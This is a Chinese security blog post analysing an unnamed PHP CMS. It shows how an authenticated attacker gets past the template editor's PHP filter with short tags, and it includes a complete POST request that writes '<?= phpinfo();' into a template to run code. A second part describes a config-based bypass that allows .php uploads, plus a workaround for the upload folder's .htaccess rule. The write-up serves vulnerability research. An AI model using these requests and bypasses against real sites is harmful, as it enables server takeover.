某cms的漏洞分析

admin 2025年3月16日22:06:57评论6 views字数 13859阅读46分11秒阅读模式

漏洞描述

该漏洞源于Appcenter.php存在限制,但攻击者仍然可以通过绕过这些限制并以某种方式编写代码,使得经过身份验证的攻击者可以利用该漏洞执行任意命令

漏洞分析

绕过编辑模板限制,从而实现RCE
某cms的漏洞分析这里可以修改模板文件,但是不能修改为php文件,可以修改html文件
看看主页是如何识别模板的
随便看一个show方法

public function show()
    {
        // 栏目ID
        $catId = $this->request->param('catid','', 'intval');
        // 栏目英文
        $list = $this->request->param('catname','');
        // 父级栏目
        $catdir = $this->request->param('catdir','');
        // 文章ID、或者别名
        $id = $this->request->param('id', '', '');
        // 模型
        $model = $this->request->param('model', 0);

        $key = $this->request->param('key','');

        if (!is_numeric($catId) && empty($list) && !empty($catdir)) {
            $catId = $catdir;
        } else if (!is_numeric($catId) && !empty($list) && empty($catdir)) {
            $catId = $list;
        } else if (!is_numeric($catId) && !empty($list) && !empty($catdir)) {
            $catId = $list;
        }

        if (empty($model) && !empty($catId)) {
            $cateInfo = (new Category)->getCateInfo($catId);
            if (empty($cateInfo)) {
                $this->error(lang('The page doesn't exist.'));
            }
            $model = Model::where(['id'=>$cateInfo['model_id'],'status'=>'normal'])->find();
            if (empty($model)) {
                $this->error(lang('Model doesn't exist.'));
            }
        } else {
            $model = Model::where(['status'=>'normal'])->where(function ($query) use ($model){
                $query->where(['diyname'=>$model])->whereOr(['tablename'=>$model]);
            })->cache(app()->isDebug()?false:'model')->find();
            if (empty($model)) {
                $this->error(lang('Model doesn't exist.'));
            }
        }

        // 文章ID、别名
        if (is_numeric($id)) {
            $where = ['id'=>$id];
        } else {
            $where = ['diyname'=>$id];
        }

        $archives = new Archives();
        if (!empty($key) && md5(app('session')->getId())==$key) { // 授权临时访问禁用的文章
            $info = $archives->with(['category','model'])->where($where)->append(['publish_time_text','fullurl'])->find();
        } else {
            $info = $archives->with(['category','model'])->where($where)->where(['status'=>'normal'])->append(['publish_time_text','fullurl'])->find();
        }
        if (empty($info)) {
            $this->error(lang('The document doesn't exist.'));
        }
        if (site('user_on') == 1 && isset($info['islogin']) && $info['islogin'] && !session('Member')) {
            $this->error(__('Please log in and operate'), (string)url('/user.user/login'));
        }
        $info = $info->moreInfo();
        $this->view->assign('__page__', $info['__page__']??null);

        // 父级栏目矫正
        if (!isset($cateInfo) || $cateInfo['id']!=$info['category_id']) {
            $cateInfo = (new Category)->getCateInfo($info['category_id']);
        }

        Db::name('archives')->where(['id'=>$info['id']])->inc('views')->update();
        $this->view->assign('Cate', $cateInfo);
        $this->view->assign('Info', $info);

        // seo 模型固定的默认字段 keywords description
        $seo_title = empty($info['seotitle'])?$info['title']:$info['seotitle'];
        $seo_title = str_replace(['$title','$name','$site'], [$seo_title,$cateInfo['title'],site("title")], site('content_format'));

        $this->view->assign('seo_title', $seo_title);
        $this->view->assign('seo_keywords', isset($info['keywords'])?$info['keywords']:$cateInfo['seo_keywords']);
        $this->view->assign('seo_desc', isset($info['description'])?$info['description']:$cateInfo['seo_desc']);
        $template = explode(".", $info['show_tpl'], 2);
        return $this->view->fetch('show/'.$template[0]);
    }

重点是最后的fetch函数,打个断点,调试一下发现,如果点进一个具体的商品界面渲染的是show_product.html
某cms的漏洞分析继续跟进fetch函数

public function fetch(string $template = '', array $vars = []): string
    {
        return $this->getContent(function () use ($vars, $template) {
            $this->engine()->fetch($template, array_merge($this->data, $vars));
        });
    }

跟进fetch函数

public function fetch(string $template, array $vars = []): void
    {
        if ($vars) {
            $this->data = array_merge($this->data, $vars);
        }

        if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) {
            // 读取渲染缓存
            if ($this->cache->has($this->config['cache_id'])) {
                echo $this->cache->get($this->config['cache_id']);
                return;
            }
        }

        $template = $this->parseTemplateFile($template);

        if ($template) {
            $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_on'] . $this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.');

            if (!$this->checkCache($cacheFile)) {
                // 缓存无效 重新模板编译
                $content = file_get_contents($template);
                $this->compiler($content, $cacheFile);
            }

            // 页面缓存
            ob_start();
            if (PHP_VERSION > 8.0) {
                ob_implicit_flush(false);
            } else {
                ob_implicit_flush(0);
            }

            // 读取编译存储
            $this->storage->read($cacheFile, $this->data);

            // 获取并清空缓存
            $content = ob_get_clean();

            if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) {
                // 缓存页面输出
                $this->cache->set($this->config['cache_id'], $content, $this->config['cache_time']);
            }

            echo $content;
        }
    }

发现只要我们修改了模板文件,就会重新缓存,触发file_get_contents函数,所以我们现在只要将模板文件内容修改为php代码,就可以实现RCE
看看修改模板文件的代码

public function editTheme()
    {
        $name = $this->request->param('name');
        // $module = $this->request->param('module'); 暂时只支持前台
        $type = $this->request->param('t');
        if (empty($name)) {
            $this->error(__('Parameter %s can not be empty',['name']));
        }
        if (!Validate::is($name, '/^[a-zA-Z][a-zA-Z0-9_]*$/')) {
            $this->error(__('Illegal request'));
        }

        // 修改文件
        if ($this->request->isPost()) {
            // 路径
            $path = $this->request->post('path','');
            $old_path = $this->request->post('old_path','');
            $path = !empty($path) ? str_replace(['.','//',"\\",'/','\','/'],'/', trim($path) . '/') : '/';
            $old_path = !empty($old_path) ? str_replace(['.','//',"\\",'/','\','/'],'/', trim($old_path) . '/') : '/';
            $fun = function ($path){
                if (empty($path) || $path=='/') {
                    return false;
                }
                $pathArr = explode('/', rtrim(ltrim($path,'/'),'/'));
                foreach ($pathArr as $key=>$value) {
                    if (!Validate::is($value, 'alphaDash')) {
                        $this->error(__('Illegal request'));
                    }
                }
            };
            $fun($path);
            $fun($old_path);

            // 文件名
            $filename = $this->request->post('filename');
            $filename = !empty($filename) ? basename(trim($filename)) : '';
            if (empty($filename)) {
                $this->error(__('Parameter %s can not be empty',['']));
            }
            $pathinfo = pathinfo($path.$filename);
            $tmp_filename = $pathinfo['filename'];

            // 旧文件名
            $old = $this->request->post('old','');
            $old = basename($old);
            if (!Validate::is($tmp_filename, '/^[A-Za-z0-9-_.]+$/') || (!empty($old) && !Validate::is(pathinfo($old_path.$old)['filename'], '/^[A-Za-z0-9-_.]+$/'))) {
                $this->error(__('Incorrect file name format'));
            }
            // 内容
            $content = $this->request->post('content','',null);

            list($root, $static) = Cloud::getInstance()->getTemplatePath();
            $root = $type=='tpl'?$root.$name:$static.$name;
            if (!preg_match('#^'.(str_replace('\','/',$root.DIRECTORY_SEPARATOR)).'#i', str_replace('\','/', $root.$pathinfo['dirname'].DIRECTORY_SEPARATOR.$pathinfo['basename']))) {
                $this->error(__('Permission denied'));
            }
            if (empty($pathinfo['extension']) || !in_array($pathinfo['extension'],['ini','html','json','js','css'])) {
                $this->error(__('Permission denied'));
            }
            if (!empty($content) && $pathinfo['extension']=='html') {
                // 限制html里面的php相关代码提交
                if (preg_match('#<([^?]*)?php#i', $content) || (preg_match('#<?#i', $content) && preg_match('#?>#i', $content))
                    || preg_match('#{php#i', $content)
                    || preg_match('#{:phpinfo#i', $content)
                ) {
                    $this->error(__('Warning: The template has PHP syntax. For safety, please upload it after modifying it in the local editing tool'));
                }
            }

            $adapter = new LeagueFlysystemLocalLocalFilesystemAdapter($root.DIRECTORY_SEPARATOR);
            $filesystem = new LeagueFlysystemFilesystem($adapter);

            try {
                $file = $path.$pathinfo['basename'];
                if (!empty($old_path) && !empty($old)) { // 修改文件
                    if (!$filesystem->fileExists($old_path.$old)) {
                        throw new Exception(__('%s not exist',[$old_path.$old]));
                    }

                    if ($old==$filename && $old_path==$path) {
                        $filesystem->write($file, $content);
                    } else if ($old!=$filename && $old_path==$path) {
                        if ($filesystem->fileExists($file)) {
                            throw new Exception(__('%s existed',[$file]));
                        }
                        $filesystem->write($file, $content);
                        $filesystem->delete($old_path.$old);
                    } else {
                        if ($filesystem->fileExists($file)) {
                            throw new Exception(__('%s existed',[$file]));
                        }
                        $filesystem->write($file, $content);
                        $filesystem->delete($old_path.$old);
                    }
                } else {
                    if ($filesystem->fileExists($file)) {
                        throw new Exception(__('%s existed',[$file]));
                    }
                    // 新建
                    $filesystem->write($file, $content);
                }
            } catch (Exception $exception) {
                Log::error("修改模板文件异常:".$exception->getMessage());
                $this->error($exception->getMessage());
            }

            $this->success('','');
        }

        $langs = [];
        $langArr = [];
        $lf = request()->param('lf','');
        if ($type=='lang') {
            list($path, $static) = Cloud::getInstance()->getTemplatePath();
            $langDir = $static.$name.DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR;
            $dataList = app()->make(LangService::class)->getListByModule('index');
            if (is_dir($langDir)) {
                foreach ($dataList as $value) {
                    if (!is_file($langDir.$value['mark'].'.json')) {
                        file_put_contents($langDir.$value['mark'].'.json', "{}");
                    }
                    $langs[] = $value['mark'].'.json';
                }
            }
            $langArr = !empty($langs) ? json_decode(file_get_contents($langDir.($lf && in_array($lf,$langs)?$lf:$langs[0])),true) : [];
        }

        $this->view->assign('name',$name);
        $this->view->assign('type',$type);
        $this->view->assign('langs',$langs);
        $this->view->assign('langArr',$langArr);
        $this->view->assign('curLf',$lf);
        $this->view->assign('template','/template/index/'.$name.'/');
        return $this->view->fetch();
    }

其中存在的过滤

if (!empty($content) && $pathinfo['extension']=='html') {
                // 限制html里面的php相关代码提交
                if (preg_match('#<([^?]*)?php#i', $content) || (preg_match('#<?#i', $content) && preg_match('#?>#i', $content))
                    || preg_match('#{php#i', $content)
                    || preg_match('#{:phpinfo#i', $content)
                ) {
                    $this->error(__('Warning: The template has PHP syntax. For safety, please upload it after modifying it in the local editing tool'));
                }
            }

可以使用php短标签绕过

POST /admin.php/appcenter/editTheme.html HTTP/1.1
Host: 127.0.0.1
Sec-Fetch-Site: same-origin
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
X-Requested-With: XMLHttpRequest
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin_hkcms_lang=zh-cn; HKCMSSESSID=782e7fb254634e9af27235e16ab1dec1
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

name=default&t=tpl&old=show_product.html&old_path=%2Fshow&path=%2Fshow&filename=show_product.html&content=%3C%3F%3D+phpinfo()%3B%0D%0A&__token__=dc7587409140c54150e9c3245c4503eb

某cms的漏洞分析然后就可以去对应的渲染的页面

http://127.0.0.1/index.php/index/show?id=62&catname=wc
某cms的漏洞分析

调试一下
某cms的漏洞分析某cms的漏洞分析禁止目录穿越
某cms的漏洞分析成功绕过判断
随后就是write文件
某cms的漏洞分析某cms的漏洞分析

文件上传漏洞

修改站点配置将上传的文件名都改为1.php
某cms的漏洞分析某cms的漏洞分析某cms的漏洞分析看看upload的代码

public function upload($files)
    {
        $add = [];
        $infos = [];
        foreach ($files as $key=>$value) {
            $tmpExt = $value->getOriginalExtension();
            $sExt = explode(',',config('cms.script_ext'));
            if (in_array($tmpExt, $sExt)) {
                throw new UploadException(__('Do not allow uploading of script files'));
            }

            validate(
                [
                    'files' => [
                        // 限制文件大小(单位b)
                        'fileSize' => $this->config['file_size'],
                        // 限制文件后缀,多个后缀以英文逗号分割
                        'fileExt'  => $this->config['file_type']
                    ]
                ],
                [
                    'files.fileSize' => __('File cannot exceed %s', [($this->config['file_size']/1024/1024).'MB']),
                    'files.fileExt' => __('Unsupported file suffix'),
                ]
            )->check(['files'=>$value]);


            $name = $this->getFileName($value);
            $value->move(dirname(public_path().$name), $name);

            $fileInfo = new File(public_path().$name);
            $md5 = $fileInfo->md5();
            $size = $fileInfo->getsize();
            if (Validate::is($value->getOriginalMime(), '/^image//') && $this->water(public_path().$name)) { // 生成水印成功后,获取新的路径
                $fileInfo = new File(public_path().$name);
                $name = $this->getFileName($fileInfo);
                $md5 = $fileInfo->md5();
                $size = $fileInfo->getsize();
                $fileInfo->move(dirname(public_path().$name), $name);
            }

            //$path = app()->filesystem->disk('public')->putFile('', $value, function ($file) use($name) {
            //    return str_replace('.'.$file->getOriginalExtension(), '', $name);
            //});
            //if (!$path) {
            //    throw new UploadException(__('File save failed'));
            //}

            $attr = Attachment::where(['path'=>$name,'storage'=>'local'])->find();
            if ($attr) {
                $attr = $attr->toArray();
                $attr['cdn_url'] = cdn_url($attr['path'], true);
                $infos[] = $attr;
            } else {
                $temp['title'] = Str::substr($value->getOriginalName(), 0, 40);
                $temp['md5'] = $md5;
                $temp['mime_type'] = $value->getOriginalMime();
                $temp['ext'] = $value->getOriginalExtension();
                $temp['size'] = $size;
                $temp['storage'] = $this->config['storage'];
                $temp['path'] = $name;
                $temp['user_type'] = $this->config['user_type'];
                $temp['user_id'] = $this->config['user_id']; // 后台用户
                $temp['cdn_url'] = cdn_url($name, true);
                $add[] = $temp;
                $infos[] = $temp;
            }
        }

        // 缩略图
        $this->thumb($infos);

        if (!empty($add)) {
            $bl = (new appadminmodelroutineAttachment)->saveAll($add);
            if (!$bl) {
                throw new UploadException(__('No rows added'));
            }
        }

        // 上传文件后的标签位
        hook('uploadAfter', $infos);
        return $infos;
    }

上传后的文件后缀以config为主
某cms的漏洞分析某cms的漏洞分析某cms的漏洞分析某cms的漏洞分析上传成功,但是访问时发现
某cms的漏洞分析这是因为在upload文件夹里有一个.htaccess文件

<FilesMatch .(?i:html|php)$>
  Order allow,deny
  Deny from all
</FilesMatch>

意思是禁止访问所有 .html 和 .php 文件,即 无论谁访问这些文件,都会被拒绝于是将配置修改为
某cms的漏洞分析某cms的漏洞分析成功访问
某cms的漏洞分析

作者:【1135198055487331】

原文始发于微信公众号(船山信安):某cms的漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月16日22:06:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某cms的漏洞分析https://cn-sec.com/archives/3845024.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息